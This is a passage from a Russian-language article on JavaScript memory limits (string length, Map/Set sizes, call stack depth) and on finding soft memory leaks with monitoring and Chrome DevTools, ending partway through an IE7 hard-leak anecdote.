| Firefox <= 64 | 268\_435\_455 (2\*\*28-1, ~256 МБ) |
| [Firefox >= 65](https://searchfox.org/mozilla-central/rev/da6a85e615827d353e5ca0e05770d8d346b761a9/js/public/String.h#330) | 1\_073\_741\_822 (2\*\*30-2, ~1 ГБ) |
| [Спецификация ES2016](https://262.ecma-international.org/7.0/#sec-ecmascript-language-types-string-type) | 9\_007\_199\_254\_740\_991 (2\*\*53-1) |
Два важных момента:
1. В Node.js 16 максимальная длина строки **уменьшилась в два раза** по сравнению с предыдущими версиями — это надо учитывать при обновлении Node.js.
2. [Спецификация ES2016](https://262.ecma-international.org/7.0/#sec-ecmascript-language-types-string-type) явно ограничивает длину строки числом, совпадающим с [Number.MAX\_SAFE\_INTEGER](https://262.ecma-international.org/7.0/#sec-number.max_safe_integer).
При превышении допустимой длины строки Node.js и браузеры выдают такие сообщения об ошибке:
| Платформа | Сообщение |
| --- | --- |
| Node.js, Chrome | RangeError: Invalid string length |
| Safari | Error: Out of memory |
| Firefox | InternalError: allocation size overflow |
### Map, Set
В V8 (а следовательно, и в использующих его Node.js и Chrome) есть жёсткое ограничение на количество ключей в `Map` и `Set`. При превышении выбрасывается ошибка. В Node.js её текст довольно забавный — см. далее в таблице.
Браузер Firefox в текущей версии захардкоженных лимитов [не имеет](https://searchfox.org/mozilla-central/rev/da6a85e615827d353e5ca0e05770d8d346b761a9/js/src/ds/OrderedHashTable.h#189). При добавлении новых данных в `Map` и `Set` он начинает всё сильнее тормозить, потом при первом запуске всё-таки выбрасывает ошибку «out of memory». При повторном запуске кода в том же окне он ещё сильнее тормозит, и ошибки дождаться практически невозможно. Кстати, «out of memory» — это не объект класса `Error` со стеком, который обычно бросается как-то так...
```
throw new Error("out of memory");
```
… а [простая строка](https://searchfox.org/mozilla-central/rev/da6a85e615827d353e5ca0e05770d8d346b761a9/js/src/vm/JSContext.cpp#265), которую в JavaScript можно бросить вместо объекта ошибки:
```
throw "out of memory";
```
То есть из такой перехваченной ошибки получить стек и прийти по нему к проблемному месту не получится — поле `stack` у строки в принципе отсутствует.
Браузер Safari ведёт себя похоже на Firefox — тоже не имеет лимитов, тоже при добавлении данных в `Map` и `Set` начинает всё сильнее тормозить, и получить ошибку я так ни разу и не смог.
Доступных из JS констант для максимального количества ключей я нигде не нашёл, значения определял с помощью [скрипта](https://jsfiddle.net/p4krbzdt/):
| Версия | Количество ключей в Map и Set |
| --- | --- |
| Node.js 12…16 | 16\_777\_216 (2\*\*24) |
| Chrome 94…101 MacOS и Windows | 16\_777\_216 (2\*\*24) |
| Chrome 101 Android | 16\_777\_216 (2\*\*24) |
| Safari 13 | >15\_000\_000 (сильно тормозит) |
| Firefox 92…96 MacOS и Windows | >131\_000\_000 (сильно тормозит) |
При превышении допустимого количества ключей в Node.js и Chrome и при исчерпании памяти в Firefox можно увидеть такие сообщения об ошибке:
| Платформа | Сообщение |
| --- | --- |
| Node.js | RangeError: Value undefined out of range for undefined options property undefined |
| Chrome | RangeError: Map maximum size exceeded |
| Chrome | RangeError: Set maximum size exceeded |
| Safari | (сильно тормозит, не дождался ошибки) |
| Firefox | out of memory |
### Call stack
Глубина стека вызовов (максимальное количество вложенных вызовов функций, которое можно сделать) сейчас ни в одной среде выполнения жёстко не зафиксирована и зависит от разных факторов:
* Она быстро уменьшается с добавлением в вызываемые функции параметров и локальных переменных — они занимают дополнительное место в стеке. Например, в Chrome при добавлении в каждую вызываемую функцию четырёх локальных переменных или четырёх параметров с числами small int глубина стека уменьшается примерно с 13 000 примерно до 9000 (конкретные результаты плавают в диапазоне ±10% от версии к версии и от запуска к запуску).
* Она зависит от способа вызова функции (`fn()`, `fn.call()`, `fn.apply()`). В [комментарии к старому багрепорту в Firefox](https://bugzilla.mozilla.org/show_bug.cgi?id=966173#c20) отмечалось, что в одной особенно неудачной ночной сборке Firefox под Linux при использовании `fn.call()` вместо `fn()` глубина стека уменьшалась примерно с 7000-40 000 всего до 500. В первом приближении можно считать, что во всех браузерах `fn.call()` занимает больше памяти на стеке, чем простой вызов функции `fn()`.
* В Firefox она может меняться в ходе прогрева вызываемого кода. Сначала (в режиме интерпретации) потребление стека сильнее и максимальная глубина, соответственно, меньше. Потом (после компиляции и оптимизации) потребление стека уменьшается, как отмечено в [комментарии](https://bugzilla.mozilla.org/show_bug.cgi?id=966173#c24)). Это важно при первом открытии страницы — Firefox видит код в первый раз, выполняет его в режиме интерпретации, глубина стека минимальна, и можно получить сложновоспроизводимый баг.
При превышении допустимой вложенности вызовов Node.js и браузеры выдают такие сообщения об ошибке:
| Платформа | Сообщение |
| --- | --- |
| Node.js, Chrome | RangeError: Maximum call stack size exceeded |
| Safari | RangeError: Maximum call stack size exceeded |
| Firefox | InternalError: too much recursion |
Значения глубины стека я определил с помощью [такого скрипта](https://jsfiddle.net/zw8fdh0q/1/) и, округлив (повторю, что они меняются от запуска к запуску), свёл в таблицу:
| Версия | `fn()` без параметров | `fn(a, b, c, d, e)` | `fn.call(this)` без параметров | `fn.call(this, a, b, c, d, e)` |
| --- | --- | --- | --- | --- |
| Node.js 12 MacOS 10.15 | 15 700 | 7000 | 14 000 | 6300 |
| Node.js 16 MacOS 10.15 | 14 000 | 6600 | 12 600 | 6000 |
| Chrome 97 Android | 24 500 | 11 600 | 22 100 | 10 500 |
| Chrome 96 и 97 MacOS 10.15 | 13 900 | 6600 | 12 500 | 6000 |
| Chrome 96 и 97 Windows 10 | 13 900 | 6600 | 12 500 | 6000 |
| Safari 13 MacOS | 36 000 | 25 000 | 28 000 | 23 000 |
| Safari 15 iOS | 7900 | 5500 | 6200 | 5000 |
| Firefox 96 MacOS 10.15 (непрогретый код) | 25 100 | 11 500 | 18 400 | 12 100 |
| Firefox 96 MacOS 10.15 (прогретый код) | 39 400 | 23 600 | 29 600 | 19 700 |
| Firefox 96 Windows 10 (непрогретый код) | 26 500 | 10 100 | 9700 | 8700 |
| Firefox 96 Windows 10 (прогретый код) | 39 400 | 23 600 | 29 500 | 19 700 |
| IE11 Windows 7 (непрогретый код) | 3000 | 4700 | 2700 | 2100 |
| IE11 Windows 7 (прогретый код) | 8200 | 5600 | 3000 | 2400 |
Конкретные значения не так важны, важнее увидеть порядок чисел и понять, что счёт допустимой вложенности сколько-нибудь сложных вызовов идёт всего лишь на тысячи. С другой стороны, исходя из багрепортов (вроде вышеупомянутого в Firefox) видим, что некоторые современные сайты и SPA уже имеют максимальную вложенность вызовов больше 500.
Максимальную вложенность вызовов можно оценить. Предположим, что при написании приложения X на фреймворке Y максимальная вложенность компонентов составит N. Например, легко представить десятикратную вложенность компонентов: приложение > страница > шапка > выпадающее меню > попап > список опций > опция > вложенное меню > попап > сообщение о версии приложения. Также предположим, что создание и рендер одного компонента во фреймворке Y требуют M вложенных вызовов. Тогда потребуется `N*M` вложенных вызовов. В качестве упражнения предлагаю читателям Хабра самостоятельно найти конкретные значения N и M для своих приложений и фреймворков.
Получается, что сейчас в типичных случаях у нас есть как минимум десятикратный запас по глубине стека, но какая-либо проблема (например, неудачная сборка или инсталляция браузера, недостаток памяти на устройстве или слишком сложный код) может легко съесть этот запас. Приведу пример из личного опыта. На одном из моих прошлых мест работы в службу поддержки обратился пользователь, который не мог запустить наше SPA на одном конкретном компьютере и только в Internet Explorer. Я начал разбираться, в логах увидел ошибку переполнения стека, измерил глубину стека в браузере пользователя — она была всего лишь около 270 (вообще у Internet Explorer глубины стека всегда хватало, проблема была только на этом одном компьютере, причину установить не удалось, помогло универсальное средство — переустановка Windows, после этого глубина стека в IE вернулась в норму). Пример из другого проекта: ошибки переполнения стека на телефонах логируются в два раза чаще, чем на десктопах. В основном это касается бюджетных или не самых новых моделей вроде Huawei Y5 Lite, Huawei Honor 6A, Samsung Galaxy J2, Samsung Galaxy J5, Alcatel 1 5033D, BQ BQ-5035, BQ BQ-5514 и тому подобных.
Раз уж упомянул про максимальную вложенность компонентов, то позволю себе небольшой офтопик: размеры дерева компонентов (максимальная ширина, максимальная и медианная глубина, суммарное количество компонентов) неплохо подходят для оценки сложности приложения, а такие же размеры DOM-дерева документа в браузере годятся для оценки сложности вёрстки страницы.
### Типичные задачи, в которых можно наткнуться на ограничения по памяти
Список, конечно же, не полон. Свои примеры можете присылать в комментариях.
1. Чтение файла в Node.js в память целиком. Налагаемые при этом ограничения:
* размер свободной памяти,
* максимальный размер структуры, в которую читаем файл (`Buffer` или `String`).
В процессе эксплуатации кода рано или поздно кто-то попытается прочитать слишком большой файл.
Как с этим бороться: использовать потоки и/или обрабатывать данные частями (пакетами, чанками).
2. Работа с JSON при помощи `JSON.stringify()` и `JSON.parse()`, то есть преобразование объекта в строку и обратно, или, как ещё говорят, сериализация и десериализация. Налагаемые ограничения:
* размер свободной памяти (исходные данные и результат должны одновременно в ней умещаться),
* максимальная длина строки (например, в Node.js 16 не получится вместить в строку 600 МБ данных).
Как и в предыдущем пункте, рано или поздно кто-то попытается обработать слишком большой объём данных.
Как с этим бороться: использовать пакеты [@discoveryjs/json-ext](https://www.npmjs.com/package/@discoveryjs/json-ext), [json-stream-stringify](https://www.npmjs.com/package/json-stream-stringify), [big-json](https://www.npmjs.com/package/big-json).
Именно такая проблема была в Webpack 4 при использовании `webpack-cli` версий 4.2.0 и ниже — когда проект становился слишком большим, внезапно становилось невозможно получить граф зависимостей и информацию о сборке (файл `stats.json`). Код записи файла `fs.writeFileSync(dest, JSON.stringify(stats.toJson(…)))` упирался в ограничение на максимальную длину строки, получаемой после `JSON.stringify()`. Проблема исправлена в `webpack-cli@4.3.0` [в этом пул-реквесте](https://github.com/webpack/webpack-cli/pull/2190).
3. Сериализация объекта со множеством ссылок на один и тот же вложенный объект.
```
const parentObj = {value: 'long string'};
const items = [
{parent: parentObj, data: 1},
{parent: parentObj, data: 2},
{parent: parentObj, data: 3}
];
```
Массив `items` содержит в каждом элементе в поле `parent` ссылку на один и тот же объект `parentObj`, и на сервере достаточно эффективно хранится в памяти: все `parent` ссылаются на один и тот же `parentObj`, то есть память расходуется на один объект `parentObj` и `items.length` ссылок на него. При сериализации для передачи клиенту наступает «взрыв»: в каждом элементе массива повторяется строка сериализованного объекта `parentObj`:
```
JSON.stringify(items);
// '[{"parent":{"value":"long string"},"data":1},{"parent":{"value":"long string"},"data":2},{"parent":{"value":"long string"},"data":3}]'
```
Довольно просто наткнуться на такую проблему при использовании серверного и клиентского рендеринга вместе: одни и те же компоненты применяются и на сервере, и на клиенте. На сервере рендерим начальное состояние страницы, клиенту отдаём и разметку, и сериализованные данные, клиент производит гидрацию и далее по необходимости ререндерит компоненты.
Как с этим бороться:
* запомнить этот пример и избегать аналогичных ситуаций при написании кода,
* в изоморфном коде (который выполняется и на сервере, и на клиенте) использовать нормализованные данные,
* при отправке клиенту данных для гидрации и ответов на AJAX сделать мониторинг размера отправляемого JSON — это позволит избежать неприятных сюрпризов в будущем (после введения такого мониторинга в нашем проекте мы увидели, что на некоторые AJAX-запросы отправляются JSON в десятки мегабайт).
4. Обработка очень больших массивов с помощью `map(function(element, index, array) { /* … */ })` и аналогичных операций. Исходный массив передаётся в параметре `array` в итератор, следовательно, он должен существовать до последней итерации и сборщик мусора ничего не может с ним сделать. При обработке очень больших массивов мы должны учитывать, что и исходный массив, и результат должны одновременно умещаться в памяти. Чтобы уменьшить потребление памяти, можно написать код так, чтобы все операции изменяли элементы в исходном массиве:
```
const array = [/* очень много данных */];
for (let i = 0; i < array.length; i++) {
// результат пишем в тот же элемент массива
array[i] = processElement(array[i], i);
}
```
Сюда же можно отнести использование операторов spread `const array2 = [...array]` и rest `const [a0, a1, ...array2] = array` — в какой-то момент исходный массив `array` и массив `array2` существуют в памяти одновременно.
Как с этим бороться: самое главное — внимательно и не спеша дочитать статью и понять, что проблема есть только при обработке очень, очень больших массивов. Не надо срочно переписывать половину проекта. Не надо писать в Твиттере, что «map() сжирает в два раза больше памяти, чем старый добрый цикл for(;;)». Не надо избегать использования `map`, `filter`, `reduce` и всех остальных методов работы с массивами. Надо просто запомнить, что когда придётся обрабатывать действительно большой объём данных, можно использовать следующие приёмы:
* обрабатывать данные in-place, то есть перезаписывать элементы исходного массива,
* обрабатывать данные частями (пакетами),
* вместо цепочек `.map().filter().reduce()` обрабатывать данные в один проход,
* чтобы не объединять вручную весь код из такой цепочки вызовов, можно использовать [ленивые коллекции из Lodash](https://lodash.com/docs/4.17.15#lodash) или [трансдьюсеры из Ramda](https://simplectic.com/blog/2015/ramda-transducers-logs/).
Soft-утечки
-----------
Есть два признака, что в коде возникла именно soft-утечка:
1. Потребление памяти постепенно растёт. Это главный признак: код без утечки освобождает всю память, которую забрал, а код с утечкой — нет. Рост памяти может быть замаскирован работой остального кода, но при должном навыке его можно заметить — всегда есть какой-то минимум, ниже которого объём используемой памяти не сможет упасть даже после сборки мусора, и этот минимум будет расти. Для тренировки можете намеренно создать утечку и посмотреть, как это отражается на графиках состояния памяти.
2. Утечка действует, только пока живёт приложение. Если обновить вкладку браузера или перезапустить node — память вернётся. Это принципиальное отличие soft-утечек от hard-утечек, про которые я расскажу немного позже.
### Пример из продакшена
20 апреля 2020 года в релиз одного из наших проектов попал код с утечкой памяти в Node.js. Утечка была не настолько сильной, чтобы код успевал съесть всю память и упасть на машинах разработчиков или во время тестирования релиза, и стала заметна только на боевых серверах. Она проявилась на трёх графиках.
График 1. Количество аварийных завершений Node.js в час
Первым делом дежурные обратили внимание на то, что выросла частота падений Node.js. Падения неизбежно были и раньше, но только в периоды пиковой нагрузки (если экземпляр node не успевает обработать запрос за фиксированный промежуток времени — мы его принудительно перезапускаем) и на особенно тяжёлых запросах (в основном боты, которые парсят выдачу Яндекса, запрашивая по 50-100 документов на страницу), а теперь экземпляры Node.js стали падать и перезапускаться даже ночью, когда частота запросов минимальна.
График 2. Количество минорных сборок мусора (minor GC) в час
Из этого графика видно, что минорные сборки мусора стали чаще. Minor GC происходит, когда заканчивается память в young space — той части кучи, куда попадают свежесозданные объекты. График говорит, что появились какие-то проблемы с памятью, но не позволяет определить причину (рост потребления памяти или утечка).
График 3. Использование кучи (`process.memoryUsage().heapUsed`) на всех серверах Node.js, 95-я процентиль, в мегабайтах
Из третьего графика стало ясно, что дело именно в утечке, а не в новом коде, которому просто надо больше памяти. Здесь видны и суточные колебания в зависимости от приходящих пользователей (люди обычно работают днём и спят ночью), и еженедельные (на выходных характер запросов меняется — люди в основном отдыхают, смотрят видео, заказывают доставку еды...), и колебания из-за рестартов отдельных серверов. Это осложняет анализ, но если обратить внимание на локальные минимумы по ночам, становится видно, что в ночь на 21 число локальный минимум стал заметно выше и короче по времени. То есть часть использованной памяти не освободилась, несмотря на сборку мусора. Именно это — признак утечки памяти.
### Как получаются soft-утечки
Очень коротко: причина в несовпадении сроков жизни объектов.
Если подробнее, то причина в том, что долгоживущий объект ссылается на короткоживущие (следовательно, сборщик мусора не может их удалить). Эту формулировку можно разбить на два варианта:
1. *Неожиданно долгоживущий* объект ссылается на короткоживущие объекты.
2. Долгоживущий объект *неожиданно ссылается* на короткоживущие объекты.
Вот конкретные механизмы возникновения утечек, о которых я знаю:
1. Неожиданная ссылка на объект из глобальных переменных (`window` в браузере, `global` в Node.js) — как прямая, так и через несколько вложенных объектов.
2. Ссылка на объект из неожиданно долгоживущего колбэка (`setInterval`, обработчики событий и тому подобное). Если не остановить `setInterval`, его колбэк останется в памяти со всеми объектами, на которые он ссылается. Если не отписаться от события — аналогично, обработчик события со всеми объектами останется в памяти. Типичный пример: обработчики событий `DOMContentLoaded` и `load`. Эти события в процессе открытия страницы наступают только один раз, но немногие разработчики от них потом отписываются.
3. Неожиданная ссылка из замыкания. Если функция ссылается на объект в замыкании, и в этом же замыкании лежит большой объект, который самой функцией не используется, он всё равно может остаться в памяти. Вот [пример утечки](https://blog.meteor.com/an-interesting-kind-of-javascript-memory-leak-8b47d2e7f156) из фреймворка Meteor. Больше о замыканиях можно прочитать [здесь](https://mrale.ph/blog/2012/09/23/grokking-v8-closures-for-fun.html).
4. Неожиданная ссылка в кэше или мемоизаторе. Это одна из основных проблем программирования (напомню, всего их две: выбор имён, очистка кэша и ошибка на единицу). Если вы добавляете кэш или мемоизацию — сразу же продумайте, как ограничить их максимальный размер и в какой момент они будут чиститься. Немного сложнее, если эти возможности «из коробки» предоставляет используемый фреймворк: в процессе его изучения такие тонкости можно упустить, на тестовых проектах уровня «Hello, world!» утечки чаще всего не успевают проявиться, и в результате с проблемами можно впервые столкнуться только на серьёзном проекте. Так как проблема существует довольно давно, действия по её устранению хорошо известны: контроль размера кэша, использование WeakMap и WeakSet, выбор подходящего алгоритма кэширования (почитайте статьи [на Хабре](https://habr.com/ru/company/surfingbird/blog/306252/) и [в Википедии](https://en.wikipedia.org/wiki/Cache_replacement_policies)).
### Как их обнаружить
В продакшене надо собирать данные о памяти клиентов и серверов. Напомню, что в Chrome это можно сделать с помощью `performance.memory`, а в Node.js — с помощью `process.memoryUsage()`. По собранным данным можно и нужно строить графики, и очень желательно настроить автоматические алерты, чтобы дежурные получали сигнал при неожиданном росте потребления памяти.
Есть хорошее правило: чем раньше обнаружишь ошибку — тем проще найти причину. Оно применимо и в нашем случае: часть утечек можно обнаружить и быстро устранить ещё до выкатывания релиза.
Если у вас есть А/Б-тестирование, то собираемые данные о памяти должны присутствовать в его результатах (да и другие технические метрики тоже неплохо показывать — например, [Core Web Vitals](https://habr.com/ru/company/rambler_and_co/blog/544904/)). Это позволит найти и починить утечку ещё на стадии эксперимента. Дополнительный бонус: при А/Б-тестировании легко понять, какой код включался в эксперименте и отсутствовал в контрольной группе, то есть область поиска в коде сильно сужается.
Ещё один этап, на котором можно найти утечку, — тестирование релиза. Для клиентского кода можно написать на Puppeteer тесты для [поиска утечек](https://media-codings.com/articles/automatically-detect-memory-leaks-with-puppeteer). Основная идея в том, что в Chrome DevTools (а следовательно, и в Puppeteer) есть команда [queryObjects()](https://developer.chrome.com/docs/devtools/console/utilities/#queryObjects-function) — она возвращает количество объектов, которые живы (на них кто-то ссылается) и принадлежат заданному классу. Если в тестируемом коде есть утечка — количество живых объектов будет расти. Тесты [выглядят так](https://github.com/chrisguttandin/standardized-audio-context/blob/1a2f86afb87dbd5de3db7a3057e74ba67ac54bcd/test/memory/module.js#L111).
При тестировании релиза серверный код тоже можно и нужно автоматически проверять на отсутствие утечек:
* Запускаем два сервера, один — контрольный с последним уже опубликованным релизом, второй — с тестируемым релизом.
* Отправляем параллельно на оба сервера достаточно большое количество запросов (одновременно один и тот же запрос отправляем и на контрольный, и на тестируемый сервер).
* Строим графики потребления памяти обоими серверами (используем уже существующий механизм мониторинга памяти).
* Если графики достаточно сильно расходятся — роняем тест.
Чтобы понять, работает ли такой тест вообще, определить нужное количество запросов и настроить пороги для падения теста, лучше всего искусственно добавить в код утечку и отработать все детали на ней. Если тест получится достаточно быстрым и надёжным — можно его запускать на каждом пул-реквесте, а не только в релизе.
Мы для страницы результатов поиска сначала использовали 70 000 запросов, сейчас остановились на 50 000. Анализируем полный размер кучи `heapTotal`, но графики для `rss`, `heapUsed` и `external` тоже строим и иногда на них смотрим. Тест занимает примерно 45-55 минут. Для пул-реквеста это слишком долго, поэтому автоматически тест запускается только при сборке релиза, но при необходимости в любом пул-реквесте его можно запустить вручную. Приведу примеры получившихся графиков. Красным цветом нарисован `heapTotal` для серверного кода, собранного из пул-реквеста, синим цветом — для основной ветки репозитория.
Пример 1. Обычный пул-реквест
Пример 2. Пул-реквест с утечкой памяти
На втором примере хорошо видно: несмотря на колебания, красный график неуклонно ползёт вверх и не собирается останавливаться.
### Как найти причину
Установить, что где-то в коде есть утечка, — лишь половина дела. Дальше надо понять, где конкретно она находится и каков механизм её возникновения. Проще всего это сделать, воспроизведя утечку, найдя в Chrome DevTools оставшийся в памяти объект и отследив путь от объекта до кода, который его создал.
Для серверного кода способ не меняется — его тоже можно отлаживать в Chrome DevTools. Для этого надо при запуске node указать опцию `--inspect` (подробное описание есть в [документации](https://nodejs.org/en/docs/guides/debugging-getting-started/) по Node.js и [статье](https://medium.com/@paul_irish/debugging-node-js-nightlies-with-chrome-devtools-7c4a1b95ae27) Пола Айриша):
```
node --inspect <ваш_скрипт>.js
```
Я знаю три способа, как в Chrome DevTools найти утекающие объекты.
#### 1. Поиск утечек с помощью Memory Allocation Timeline
Этот способ хорошо работает для клиентского кода, но применим и для Node.js.
Memory Allocation Timeline — инструмент в Chrome DevTools, который записывает выделение памяти под объекты и её освобождение. Он хорошо визуализирует, какие участки памяти остаются неосвобождёнными — именно в них и могут находиться утечки (а могут и не находиться). Инструмент применим при поиске утечек, которые можно воспроизвести в течение нескольких минут — именно на столько DevTools хватает ресурсов, чтобы записывать информацию о работе с памятью.
[Документация](https://developer.chrome.com/docs/devtools/memory-problems/allocation-profiler/) немного устарела (инструмент переименован и перемещён в другую вкладку, внешний вид сильно изменился), но для понимания сути происходящего её всё равно полезно прочитать.
Как пользоваться инструментом (актуальная для Chrome 97 инструкция):
1. Открываем в Chrome страницу, на которой собираемся искать утечку.
2. Открываем Chrome DevTools.
3. Открываем вкладку Memory (раньше была вкладка Profiles).
4. Выбираем Allocation instrumentation on timeline (на скриншоте — внешний вид в Chrome 97).
5. Прогреваем страницу: несколько раз совершаем действия, которые, по нашему подозрению, приводят к утечке.
6. Включаем запись кнопкой Start.
7. «Под запись» несколько раз повторяем те же действия.
8. Вертикальные полоски («палочки») на таймлайне — это память, которая в тот момент времени потребовалась каким-то объектам. Серый цвет — память уже освобождена, синий цвет — до сих пор занята. Полоска может быть частично синей, это значит, что часть памяти ещё используется.
9. Останавливаем запись круглой красной кнопкой в верхнем левом углу.
10. После этого курсором выделяем интересующий нас отрезок времени — DevTools покажет, какие объекты из этого отрезка до сих пор живы. Объекты группируются по типам (конструкторам).
Почти все названия в круглых скобках — `(compiled code)`, `(array)`, `(system)`, как на скриншоте — можно игнорировать. Это внутренние типы движка V8, наших утечек там нет. Исключений, пожалуй, всего два:
* `(string)` — примитивный тип строки. Если строки за время записи заняли очень большой объём памяти (колонки Shallow Size и Retained Size), то их нужно проанализировать.
* `(closure)` — замыкание. Возникает, когда создаётся новая функция. Они обычно занимают мало памяти, но если создаётся много замыканий с одной и той же функцией внутри, то их тоже нужно проанализировать.
Дальше анализируем объекты в памяти, ищем те, которых там быть не должно. Это сложный процесс, который сам по себе достоин отдельной статьи, поэтому здесь я углубляться не буду. Некоторые интересные детали можно узнать из видео:
**Смотреть**
Полезно потренироваться в использовании Memory allocation timeline на простых примерах с утечками и без них — к этому вопросу я вернусь дальше в статье.
#### 2. Поиск утечек с помощью техники трёх снапшотов
Этот способ хорошо работает и для клиентского и для серверного кода.
Инструменты Chrome DevTools, кроме непрерывной записи аллокаций, умеют делать одиночные снимки состояния памяти (heap snapshot, далее — просто снапшоты) и сравнивать их между собой.
Memory Allocation Timeline, как я уже упоминал, может записать только несколько минут работы с вашим кодом, а снапшоты памяти можно делать хоть с интервалом в час. Поэтому техника трёх снапшотов незаменима при поиске редко возникающих и сложно воспроизводимых утечек, которые нельзя получить за одну-две минуты.
Кроме того, техника особенно хорошо работает со страницами и приложениями, в которых пользователь после каких-то действий регулярно возвращается к исходному состоянию (на странице Facebook — к фиду новостей, в Gmail — к списку писем и так далее).
Итак, пошаговая инструкция:
1. Прогреваем страницу. Выполняем несколько раз действия, которые, по нашему подозрению, приводят к утечке. Прогрев должен загрузить динамические импорты, выполнить memo и lazy, создать долгосрочные объекты, чтобы в дальнейшем это не мешало анализу.
2. Делаем первый снапшот памяти.
3. Совершаем действия, которые, по нашему подозрению, приводят к утечке (например, открываем попап), потом возвращаемся к исходному состоянию из пункта 1 (закрываем попап). Можно проделать это не единожды, а круглое число раз, например, десять.
4. Делаем второй снапшот.
5. Повторяем действия из пункта 3 (открываем-закрываем попап). Здесь число повторений уже не играет роли, достаточно одного-двух раз.
6. Делаем третий снапшот.
7. Показываем в третьем снапшоте только те объекты, которые были созданы между первым и вторым снапшотом (Objects allocated between Snapshot 1 and Snapshot 2). Это **очень важный** момент, в котором часто ошибаются, поэтому повторю ещё раз: **в третьем снапшоте смотрим только объекты, созданные между первым и вторым снапшотами**.
Таким образом мы значительно уменьшаем количество объектов для проверки на утечку. Исключаются:
* объекты, созданные до первого снапшота (долгоживущие, постоянно нужные),
* объекты, созданные после второго снапшота (живые в момент снятия третьего снапшота),
* большинство объектов, созданных между первым и вторым снапшотами — в пункте 5 инструкции все они были заменены более актуальными, даже если в коде есть мемоизация.
Ключевая идея техники трёх снапшотов: при отсутствии утечки все объекты, созданные между первым и вторым снапшотами (в пункте 3), должны освободиться в пункте 5 и исчезнуть из третьего снапшота.
При анализе обращаем внимание на количество объектов, равное или кратное количеству повторений в пункте 3 (количество объектов видно в колонке Constructor). Посмотрим на примере из скриншота: если мы проделали действие c утечкой 16 раз и видим «Child x16», «system / Context x16», «(closure) x160» — можем предположить, что на каждое наше действие создаётся и остаётся в памяти по одному экземпляру класса `Child` и по 10 замыканий `(closure)`.
Названия в круглых скобках вроде `(compiled code)` (я уже упоминал про них выше по тексту) игнорируем, кроме `(string)` и `(closure)`. В `(closure)` смотрим, для каких именно функций создаются замыкания: если там повторяется одна и та же функция, то в этом месте может быть утечка. Пример: на скриншоте ниже между первым и вторым снапшотами создано и осталось в памяти 11 замыканий для одной и той же функции `init()`, расположенной в 119-й строке файла `index.js`. Это очень похоже на утечку. В этом примере дальнейшим шагом будет определение, кто создаёт эти замыкания и как они удерживаются в памяти.
#### 3. Поиск утечек с помощью queryObjects
Я уже упоминал, что в Chrome DevTools есть команда [queryObjects()](https://developer.chrome.com/docs/devtools/console/utilities/#queryObjects-function), которая возвращает количество живых объектов заданного класса (с заданным конструктором).
Этой командой можно проверить, накапливаются ли в памяти объекты, и уточнить, какие именно:
```
> queryObjects(Object)
Array(54700)
> queryObjects(Object)
Array(54892)
> queryObjects(Object)
Array(55080) // количество всех объектов в памяти растёт
> queryObjects(Function)
Array(34232)
> queryObjects(Function)
Array(34302)
> queryObjects(Function)
Array(34347) // количество функций растёт
> queryObjects(HTMLElement)
Array(79)
> queryObjects(HTMLElement)
Array(79)
> queryObjects(HTMLElement)
Array(79) // количество DOM-элементов не меняется
```
Это скорее вспомогательный приём. Он работает только из DevTools (и из инструментов, которые умеют в [Chrome DevTools Protocol](https://github.com/ChromeDevTools/devtools-protocol)), требует явного указания класса объектов (соответствующий класс должен быть в глобальной области видимости) — зато позволяет быстро проверить конкретные сценарии утечек (накапливаются ли в памяти функции или ссылки на detached DOM-элементы) и тут же проинспектировать соответствующие объекты.
#### Тренируемся находить утечки
На чём тренироваться:
* Вот [песочница](https://codesandbox.io/s/autobind-debounce-memory-leak-jezks?file=/src/Child.js), в которой есть утечка. Ответ можно подсмотреть на гитхабе в [этом комментарии](https://github.com/andreypopp/autobind-decorator/issues/76#issuecomment-719563300).
* В [этой статье](https://developer.chrome.com/docs/devtools/memory-problems/) есть примеры кода для имитации утечки в браузере. Можно вставлять их на простейшую страницу, открывать в Chrome и тренироваться.
* В [этой](https://nodesource.com/blog/memory-leaks-demystified) и [этой](https://blog.logrocket.com/understanding-memory-leaks-node-js-apps/) статьях вы найдёте примеры кода с утечкой для Node.js.
Дальше можно объединиться с коллегой по проекту: он добавляет утечку в вашу ветку кода в репозитории, вы — в его ветку, и каждый ищет утечку у себя в ветке, не заглядывая в коммиты.
Также полезно поисследовать код без утечек, чтобы понимать, как в Chrome DevTools выглядит «здоровое» приложение.
Ещё раз приведу ссылки на [статью](https://www.html5rocks.com/en/tutorials/memory/effectivemanagement/) и [видео](https://www.youtube.com/watch?v=x9Jlu_h_Lyw) от разработчиков Google про утечки в Gmail — там хорошо и понятно рассказано о мониторинге памяти, поиске и устранении утечек. Могут оказаться полезными старые, но всё ещё годные статьи: [эта](https://newrelic.com/blog/best-practices/using-chrome-developer-tools-to-find-memory-leaks) и [эта](https://addyosmani.com/blog/taming-the-unicorn-easing-javascript-memory-profiling-in-devtools/). Перевод хорошей статьи про soft-утечки [есть](https://habr.com/ru/post/309318/) на Хабре.
Hard-утечки
-----------
Ещё раз повторю главное отличие hard-утечек от soft-утечек: чтобы освободить утёкшую память, надо перезапустить приложение (браузер или Node.js) или даже перезагрузить операционную систему.
### Пример из продакшена
У меня есть только один довольно старый пример, который заодно проливает свет на такую же старую загадку, когда-то мучившую верстальщиков.
Много лет назад был такой браузер: Internet Explorer 7. Одна из проблем IE7 была связана с масштабированием (интерполяцией) больших изображений — при уменьшении картинка очень сильно портилась визуально. Особенно это касалось чертежей и рисунков, в которых всегда много тонких чётких линий.
В принципе это было исправимо. В CSS браузера было проприетарное свойство `-ms-interpolation-mode`, управляющее режимом интерполяции. Оно имело два значения: `bicubic` (бикубическая интерполяция изображения) и `nearest-neighbor` (интерполяция по соседним пикселям), и значением по умолчанию служило именно `nearest-neighbor`. Достаточно было дописать в CSS:
```
img {
-ms-interpolation-mode: bicubic;
}
```
И уменьшенные картинки начинали выглядеть намного лучше без заметного влияния на быстродействие.
Единственный вопрос, который возникал у многих в то время: ну почему разработчики IE7, реализовав качественный и достаточно быстрый алгоритм масштабирования, не включили его по умолчанию?!
На возможный ответ натолкнулись мои коллеги, когда разрабатывали просмотрщик отсканированных документов для одного крупного заказчика, у которого были в основном компьютеры с IE7. Они, конечно же, натолкнулись на очень некрасивое масштабирование отсканированных чертежей и схем формата A0, быстро нашли, что проблему можно исправить с помощью вышеуказанного фрагмента CSS, потроллили разработчиков IE7, которые не включили `-ms-interpolation-mode: bicubic` по умолчанию, зарелизили новую версию просмотрщика...
